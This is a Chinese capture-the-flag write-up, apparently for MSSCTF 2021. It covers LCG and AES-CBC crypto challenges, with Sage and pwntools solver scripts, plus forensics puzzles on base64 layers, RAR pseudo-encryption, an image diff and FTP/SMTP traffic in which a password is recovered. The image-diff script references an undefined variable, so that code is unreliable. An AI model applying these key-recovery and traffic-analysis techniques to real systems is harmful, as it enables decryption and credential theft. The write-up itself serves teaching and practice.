构造一个矩阵 $$ \left(\matrix{a,b,c}\right)\left(\matrix{y_2,y_3,y_4\y_1,y_2,y_3\1\ ,\ 1\ ,\ 1}\right) = \left(\matrix{y_3,y_4,y_5}\right) $$ $$ \left(\matrix{a,b,c}\right) = \left(\matrix{y_3,y_4,y_5}\right)\left(\matrix{y_2,y_3,y_4\y_1,y_2,y_3\1\ ,\ 1\ ,\ 1}\right)^{-1} $$
直接进行矩阵求逆就可以得到a,b,c.
from sage.all import *
from Crypto.Util.number import *
n = 18253588106473969889
data = [8331802587873314500, 16970700310063771377, 16378474859328460142, 13073117282614811463, 747433301416436433]
M = Matrix(Zmod(n),[
[data[1],data[2],data[3]],
[data[0],data[1],data[2]],
[1 ,1 ,1 ]
])
a = Matrix(Zmod(n), [ [data[2],data[3],data[4]]])
s = (a*(M**(-1)))
print(long_to_bytes(s[0][0])+long_to_bytes(s[0][1])+long_to_bytes(s[0][2]))
非预期解1:
赛后与1位选手交流了一下,发现他的解法是个非预期,就是a是flag的前8位,而前7位已知,就爆破第8位,之后就可以跟普通的LCG一样解题了
aesSTUDY
相同的,先分析一下题目. 这是一道交互题,当我们连接上服务器之后 我们发现他一开始传出了一个板子出来 Welcome to MSSCTF 2021 他的第一步有一个proof of work
我们需要爆破这个sha256才能够通过他 进行下一步,那么我们就照着他的样子去过,先用pwntools去连接上这个服务器,他这个只需要去爆破3位,因此时间也不会很久。
接下去就是看这块内容的主要 handle函数部分的内容了,过了pow之后他打出一个菜单1是得到加密后的数据 2是拿到hint 3是退出 4是检查一下。
我们看一下加密部分,getEncData,先是进行了一个加密并且使用了一个长度为16的salt加在了明文的前面,iv是ivv 从secret里面导入的,key也是secret里面导入的,然后我们用key,和ivv在进行一个CBC模式对明文进行一次加密后 返回加密后的密文 和 key和salt异或之后得到的东西。 那么在这里我们就可以很容易的得到这个key,因为salt是已知的,我们只需要把得到的这串数据去和salt进行异或操作,那么拿到的就是这个key的值了。 Hint部分 只是把明文前16位进行解密了 Check部分就是需要给他正确的ivv就能够拿到flag 其实题目中已经有提示 Do U Know CBC and ECB? 那么我们来看一下CBC模式的解密和ECB模式的解密
我们发现 CBC 对应ECB 其实解密加密过程中间就只多了一个IV和明文进行异或, 并且我们发现他的这个密文是下一组里面的IV,而且key我们已经得到了, 那么我们就可以把CBC拆开来,并且第一块明文是salt我们已知, 所以只需要去对第一块进行解密, 得到的东西再和我们的salt进行异或 发现得到的就是最初始的IV, 在丢到Check当中我们就可以拿到flag
from pwn import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
import string
table = string.ascii_letters+string.digits
salt = b'I_am_just_a_salt'
def pow():
io.recvuntil("XXX+")
XXX = io.recvuntil(")")[:-1]
io.recvuntil("== ")
sha = io.recvline()[:-1]
io.recv()
for i in table:
for j in table:
for k in table:
s = (i+j+k).encode()
if sha256(s+XXX).hexdigest() == sha.decode():
io.sendline(s)
return
def get_enc_data():
io.recvuntil("[-]")
io.sendline("1")
io.recvuntil("cipher :")
cipher = io.recv(64)
io.recvuntil(" :")
xorr = io.recv(16)
return cipher,xorr
def dec(cipher,xorr):
key = xor(salt,xorr)
aes = AES.new(key,AES.MODE_ECB)
flag = xor(aes.decrypt(cipher[:16]),salt)
return flag
def get_flag(ivv):
io.recvuntil("[-]")
io.sendline("4")
print(io.recv())
io.sendline(ivv)
io.interactive()
if __name__ == "__main__":
io = remote("0.0.0.0",10003)
pow()
cipher,xorr = get_enc_data()
ivv = dec(cipher,xorr)
print(ivv)
get_flag(ivv)
MISC
give_you_flag
浏览文件,发现文件内容符合Base64
编码的特征。
尝试解码后发现得到的依然是Base64
编码。
多次解码之后遇到Incorrect Padding
,查看TraceBack
后发现上次解码后得到的字符串开头存在=
。
猜测将字符串倒序后解码,验证发现猜测正确。
继续手动解码或通过脚本完成。
from base64 import b64decode as bd
while True:
fin = open("flag.txt", "rb")
data = fin.read()
fin.close()
try:
data_ = bd(data)
data_.decode("utf-8")
except Exception:
data_ = bd(data[::-1])
if "{" in data_.decode():
print(data_.decode())
break
fout = open("flag.txt", "wb")
#print(data_)
fout.write(data_)
fout.close()
Compressed Pictures
使用WinRAR
尝试进行解压则会提示主文件头损坏。
十六进制查看器查看,RAR4
格式的压缩包中0xAh-0xBh
是通用位标记。
以0xAh
为例,该字节的低位与高位分别由下图中的①与②通过计算得出:
$$
hex(,\sum_{i=0}^3(0,or,1)\times2^i,)
$$
因此,将0xAh
由80
改为00
即可去除主文件头的伪加密。
再进行解压,WinRAR
尝试进行解压依然会提示文件头损坏。
对文件头进行同样的修改。
文件头的加密标记在17h
的位置,与主文件头类似。不过这里的字典类型单独占据了一个十六进制位,且值为C(2*6)
。将C4
修改为C0
即可。
解压后拿到两张相似的图片,对两张图片的每个像素进行逐一比对,输出不同的像素。
from PIL import Image as img
p1 = img.open('flag.png').load()
p2 = img.open('hey!.png').load()
w = im1.size[0]
h = im1.size[1]
im3 = img.new(im1.mode, im1.size)
p3 = im3.load()
for i in range(w):
cnt = 0
for j in range(h):
if p1[i, j] != p2[i, j]:
p3[i, j] = (255, 255, 255)
#im3.show()
im3.save('result.png')
Strange Prime
可以在网上搜到关于Illegal prime
的信息,google
看到非法素数是一串数字后面全都是0
最后几位里面有1
并且最后1位是1
的一个素数,一般来说前面是串有意义的字符,那么就截取前面部分long_to_bytes
一下 :
得到k
的值。
根据题目描述,将k
与c
进行异或运算,并输出bytes
:
Torjancap
查看协议分级,发现存在FTP
和SMTP
流量。
追踪FTP
流量的TCP
流,发现客户端与服务端通过明文传输数据。
客户端进入了/Noah/Challenges
目录,并下载了Secret.zip
。
筛选FTP-DATA
协议,找到传输的Secret.zip
的文件流,并进行导出。(也可以使用binwalk
或foremost
)
过滤SMTP
协议,发现有一条明文传输的邮件。
将base64
编码后的正文解码,可以看到输入密码后有一串记录下来的字符串:[Capital]S[Back]ASDFGHJKL;'[Return]
拿到了Secret.zip
的密码:ASDFGHJKL;’
也可以导出IMF
对象之后打开eml
文件查看附件。
解压Secret.zip
之后得到flag